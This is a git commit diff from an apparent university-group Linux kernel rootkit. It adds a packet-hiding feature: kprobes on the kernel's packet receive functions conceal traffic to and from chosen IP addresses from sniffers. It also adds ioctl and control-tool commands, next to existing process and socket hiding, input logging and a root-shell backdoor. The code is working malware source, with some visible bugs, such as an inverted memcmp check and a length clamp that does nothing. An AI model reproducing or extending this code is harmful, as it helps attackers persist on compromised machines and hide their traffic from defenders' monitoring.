commit 10b6003da5e1cd098ed4ffb88816cb756ba8f02f
parent 5f0df8508a9b63b77b6bb4639e0f231cb4e8c66e
Author: deurzen <m.deurzen@tum.de>
Date: Sat, 19 Dec 2020 23:47:33 +0100
initial packhide message handling
Diffstat:
9 files changed, 230 insertions(+), 19 deletions(-)
diff --git a/src/channel.c b/src/channel.c
@@ -16,6 +16,7 @@
#include "ioctl.h"
#include "rootkit.h"
#include "sockhide.h"
+#include "packhide.h"
#define BUFLEN 512
@@ -33,6 +34,7 @@ report_channels(void)
DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID", G7_PIDHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE", G7_TCPHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE", G7_UDPHIDE);
+ DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE);
DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING", G7_LOGGING);
@@ -50,6 +52,7 @@ detect_channel(unsigned cmd)
case G7_PIDHIDE: return (channel_t){ "HIDEPID", handle_pidhide };
case G7_TCPHIDE: return (channel_t){ "TCPHIDE", handle_tcphide };
case G7_UDPHIDE: return (channel_t){ "UDPHIDE", handle_udphide };
+ case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide };
case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
case G7_LOGGING: return (channel_t){ "LOGGING", handle_logging };
@@ -235,6 +238,41 @@ handle_udphide(unsigned long arg)
}
int
+handle_packhide(unsigned long arg)
+{
+ char buf[BUFLEN];
+ memset(buf, 0, BUFLEN);
+ const char *sarg = (const char *)arg;
+
+ if (!sarg) {
+ unhide_packets();
+ rootkit.hiding_packets = 0;
+ DEBUG_NOTICE("[g7] packet hiding off\n");
+ } else if (!copy_from_user(buf, sarg, BUFLEN)
+ && (strstr(buf, ":") || strstr(buf, ".")))
+ {
+ if (sarg[0] == (char)1) {
+ if (!rootkit.hiding_packets) {
+ hide_packets();
+ DEBUG_NOTICE("[g7] packet hiding on\n");
+ }
+
+ hide_ip(&sarg[1]);
+ rootkit.hiding_packets = 1;
+ DEBUG_INFO("[g7] hiding packets from/to ip address %s\n", &sarg[1]);
+ } else if (sarg[0] == (char)-1) {
+ unhide_ip(&sarg[1]);
+ DEBUG_INFO("[g7] unhiding packets from/to ip address %s\n", &sarg[1]);
+ } else
+ return -ENOTTY;
+
+ } else
+ return -ENOTTY;
+
+ return 0;
+}
+
+int
handle_backdoor(unsigned long arg)
{
char buf[BUFLEN];
diff --git a/src/channel.h b/src/channel.h
@@ -17,6 +17,7 @@ int handle_openhide(unsigned long);
int handle_pidhide(unsigned long);
int handle_tcphide(unsigned long);
int handle_udphide(unsigned long);
+int handle_packhide(unsigned long);
int handle_backdoor(unsigned long);
int handle_togglebd(unsigned long);
int handle_logging(unsigned long);
diff --git a/src/g7.c b/src/g7.c
@@ -45,6 +45,7 @@ rootkit_t rootkit = {
.hiding_open = true,
.hiding_pids = true,
.hiding_sockets = true,
+ .hiding_packets = true,
.logging_input = true,
.backdoor = BD_TTY,
};
diff --git a/src/ioctl.h b/src/ioctl.h
@@ -11,8 +11,9 @@
#define G7_PIDHIDE _IOR(G7_MAGIC_NUMBER, 0x4, char *)
#define G7_TCPHIDE _IOR(G7_MAGIC_NUMBER, 0x5, char *)
#define G7_UDPHIDE _IOR(G7_MAGIC_NUMBER, 0x6, char *)
-#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x7, char *)
-#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x8, char *)
-#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0x9, char *)
+#define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *)
+#define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *)
+#define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *)
+#define G7_LOGGING _IOR(G7_MAGIC_NUMBER, 0xa, char *)
#endif//_GROUP7_IOCTL_H
diff --git a/src/packhide.c b/src/packhide.c
@@ -2,28 +2,39 @@
#include <linux/kprobes.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
+#include <linux/inet.h>
#include <uapi/linux/if_packet.h>
#include <uapi/linux/ip.h>
#include <uapi/linux/ipv6.h>
#include "common.h"
#include "hook.h"
+#include "packhide.h"
+
+ip_list_t hidden_ips = {
+ .ip = { 0 },
+ .version = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+ip_list_t_ptr hidden_ips_tail = &hidden_ips;
static int g7_packet_rcv(struct kprobe *, struct pt_regs *);
static int g7_fault(struct kprobe *, struct pt_regs *, int);
static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long);
-//TODO store in array of kprobes
+// TODO store in array of kprobes
static struct kprobe p_rcv = {
- .symbol_name = "packet_rcv",
+ .symbol_name = "packet_rcv",
};
static struct kprobe tp_rcv = {
- .symbol_name = "tpacket_rcv",
+ .symbol_name = "tpacket_rcv",
};
static struct kprobe p_rcv_spkt = {
- .symbol_name = "packet_rcv_spkt",
+ .symbol_name = "packet_rcv_spkt",
};
void
@@ -43,10 +54,10 @@ hide_packets(void)
if (register_kprobe(&p_rcv))
DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n");
-
+
if (register_kprobe(&tp_rcv))
DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n");
-
+
if (register_kprobe(&p_rcv_spkt))
DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n");
}
@@ -59,6 +70,37 @@ unhide_packets(void)
unregister_kprobe(&p_rcv_spkt);
}
+void
+hide_ip(const char *ip)
+{
+ u8 ipv4[16];
+ u8 ipv6[16];
+
+ if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) {
+ if (!list_contains_ip(&hidden_ips, ipv4, v4)) {
+ memcpy(ipv4 + 4, (ip_t){ 0 }, 12);
+ add_ip_to_list(hidden_ips_tail, ipv4, v4);
+ }
+ } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) {
+ if (!list_contains_ip(&hidden_ips, ipv6, v6))
+ add_ip_to_list(hidden_ips_tail, ipv6, v6);
+ }
+}
+
+void
+unhide_ip(const char *ip)
+{
+ u8 ipv4[16];
+ u8 ipv6[16];
+
+ if (strstr(ip, ".") && in4_pton(ip, -1, ipv4, -1, NULL)) {
+ memcpy(ipv4 + 4, (ip_t){ 0 }, 12);
+ remove_ip_from_list(&hidden_ips, ipv4, v4);
+ } else if (strstr(ip, ":") && in6_pton(ip, -1, ipv6, -1, NULL)) {
+ remove_ip_from_list(&hidden_ips, ipv6, v6);
+ }
+}
+
static int
g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
{
@@ -68,21 +110,26 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
char *data = skb_network_header(skb);
char ver = data[0];
- if ((ver & 0x40)) {
- struct iphdr *iphdr;
- struct sk_buff *clone = skb_clone(skb, GFP_KERNEL);
+ struct iphdr *iphdr;
+ struct sk_buff *clone = skb_clone(skb, GFP_KERNEL);
+
+ pt_regs->di = (long unsigned int)clone;
+ iphdr = (struct iphdr *)skb_network_header(clone);
- pt_regs->di = (long unsigned int)clone;
- iphdr = (struct iphdr *)skb_network_header(clone);
-
- if (iphdr->saddr == 0x08080808 || iphdr->daddr == 0x08080808)
+ if ((ver & 0x40)) {
+ if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4)
+ || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4))
+ clone->pkt_type = PACKET_LOOPBACK;
+ } else if ((ver & 0x60)) {
+ if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6)
+ || list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6))
clone->pkt_type = PACKET_LOOPBACK;
}
return 0;
}
-static void
+static void
g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags)
{
return;
@@ -92,4 +139,62 @@ static int
g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr)
{
return 0;
-}
-\ No newline at end of file
+}
+
+bool
+list_contains_ip(ip_list_t_ptr list, ip_t ip, ip_version version)
+{
+ return !!find_ip_in_list(list, ip, version);
+}
+
+ip_list_t_ptr
+find_ip_in_list(ip_list_t_ptr head, ip_t ip, ip_version version)
+{
+ ip_list_t_ptr i;
+ for (i = head; i; i = i->next)
+ if (memcmp(i->ip, ip, 16) && (version == -1 || i->version == version))
+ return i;
+
+ return NULL;
+}
+
+ip_list_t_ptr
+add_ip_to_list(ip_list_t_ptr tail, ip_t ip, ip_version version)
+{
+ ip_list_t_ptr node;
+ node = (ip_list_t_ptr)kmalloc(sizeof(ip_list_t), GFP_KERNEL);
+
+ if (node) {
+ memcpy(node->ip, ip, 16);
+ node->version = version;
+ node->next = NULL;
+ node->prev = tail;
+ tail->next = node;
+ hidden_ips_tail = node;
+ return node;
+ }
+
+ return NULL;
+}
+
+ip_list_t_ptr
+remove_ip_from_list(ip_list_t_ptr list, ip_t ip, ip_version version)
+{
+ ip_list_t_ptr i = find_ip_in_list(list, ip, version), ret = NULL;
+
+ if (i && (memcmp(i->ip, (ip_t){ 0 }, 16) && i->version != -1)) {
+ if (i->next)
+ i->next->prev = i->prev;
+ else
+ hidden_ips_tail = i->prev ? i->prev : &hidden_ips;
+
+ if (i->prev) {
+ i->prev->next = i->next;
+ ret = i->prev;
+ }
+
+ kfree(i);
+ }
+
+ return ret;
+}
diff --git a/src/packhide.h b/src/packhide.h
@@ -1,2 +1,32 @@
+#ifndef _GROUP7_PACKHIDE_H
+#define _GROUP7_PACKHIDE_H
+
+typedef enum {
+ v4,
+ v6
+} ip_version;
+
+typedef u8 ip_t[16];
+
+typedef struct ip_list *ip_list_t_ptr;
+typedef struct ip_list {
+ ip_t ip;
+ ip_version version;
+ ip_list_t_ptr prev;
+ ip_list_t_ptr next;
+} ip_list_t;
+
+extern ip_list_t hidden_ips;
+
void hide_packets(void);
void unhide_packets(void);
+
+void hide_ip(const char *);
+void unhide_ip(const char *);
+
+bool list_contains_ip(ip_list_t_ptr, ip_t, ip_version);
+ip_list_t_ptr find_ip_in_list(ip_list_t_ptr, ip_t, ip_version);
+ip_list_t_ptr add_ip_to_list(ip_list_t_ptr, ip_t, ip_version);
+ip_list_t_ptr remove_ip_from_list(ip_list_t_ptr, ip_t, ip_version);
+
+#endif //_GROUP7_PACKHIDE_H
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -121,6 +121,32 @@ parse_input(int argc, char **argv)
if (ARGVCMP(1, "sockethide-off"))
return (cmd_t){ handle_tcphide, (void *)0 };
+ if (ARGVCMP(1, "packet")) {
+ ASSERT_ARGC(3, "packet <hide | unhide> <ip>");
+
+ if (ARGVCMP(2, "hide")) {
+ size_t arglen = strlen(argv[3]);
+ size_t maxlen = BUFLEN - 1;
+ char *hide_ip = (char *)malloc(BUFLEN);
+ memset(hide_ip, 0, BUFLEN);
+ hide_ip[0] = (char)1;
+ memcpy(hide_ip + 1, argv[3], arglen < maxlen ? arglen : arglen);
+ return (cmd_t){ handle_packhide, (void *)hide_ip };
+ }
+
+ if (ARGVCMP(2, "unhide")){
+ size_t arglen = strlen(argv[3]);
+ size_t maxlen = BUFLEN - 1;
+ char *unhide_ip = (char *)malloc(BUFLEN);
+ memset(unhide_ip, 0, BUFLEN);
+ unhide_ip[0] = (char)-1;
+ memcpy(unhide_ip + 1, argv[3], arglen < maxlen ? arglen : arglen);
+ return (cmd_t){ handle_packhide, (void *)unhide_ip };
+ }
+ }
+ if (ARGVCMP(1, "packethide-off"))
+ return (cmd_t){ handle_packhide, (void *)0 };
+
if (ARGVCMP(1, "backdoor")) {
ASSERT_ARGC(2, "backdoor <execve_command>");
return (cmd_t){ handle_backdoor, (void *)argv[2] };
@@ -201,6 +227,12 @@ handle_udphide(void *arg)
}
int
+handle_packhide(void *arg)
+{
+ return issue_ioctl(G7_PACKHIDE, (const char *)arg);
+}
+
+int
handle_backdoor(void *arg)
{
return issue_ioctl(G7_BACKDOOR, (const char *)arg);
@@ -268,6 +300,8 @@ help()
printf("%-42s %s\n", "hidepid <add | rm> <PID>", "{,un}hide a process");
printf("%-42s %s\n", "socket <hide | unhide> <tcp | udp> <port>", "{,un}hide a tcp or udp socket with the given port");
printf("%-42s %s\n", "sockethide-off", "disable any (tcp or udp) socket hiding");
+ printf("%-42s %s\n", "packet <hide | unhide> <ip>", "{,un}hide packets from/to given ip address (IPv4 or IPv6)");
+ printf("%-42s %s\n", "packethide-off", "disable any packet hiding");
printf("%-42s %s\n", "backdoor <execve_command>", "exec a command as root");
printf("%-42s %s\n", "shell", "obtain a shell as root");
printf("%-42s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or TTY (1)");
diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h
@@ -27,6 +27,7 @@ int handle_openhide(void *);
int handle_pidhide(void *);
int handle_tcphide(void *);
int handle_udphide(void *);
+int handle_packhide(void *);
int handle_backdoor(void *);
int handle_shellbd(void *);
int handle_togglebd(void *);
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -16,6 +16,7 @@ typedef struct {
bool hiding_pids;
bool hiding_open;
bool hiding_sockets;
+ bool hiding_packets;
bool logging_input;
bd_state_t backdoor;
} rootkit_t;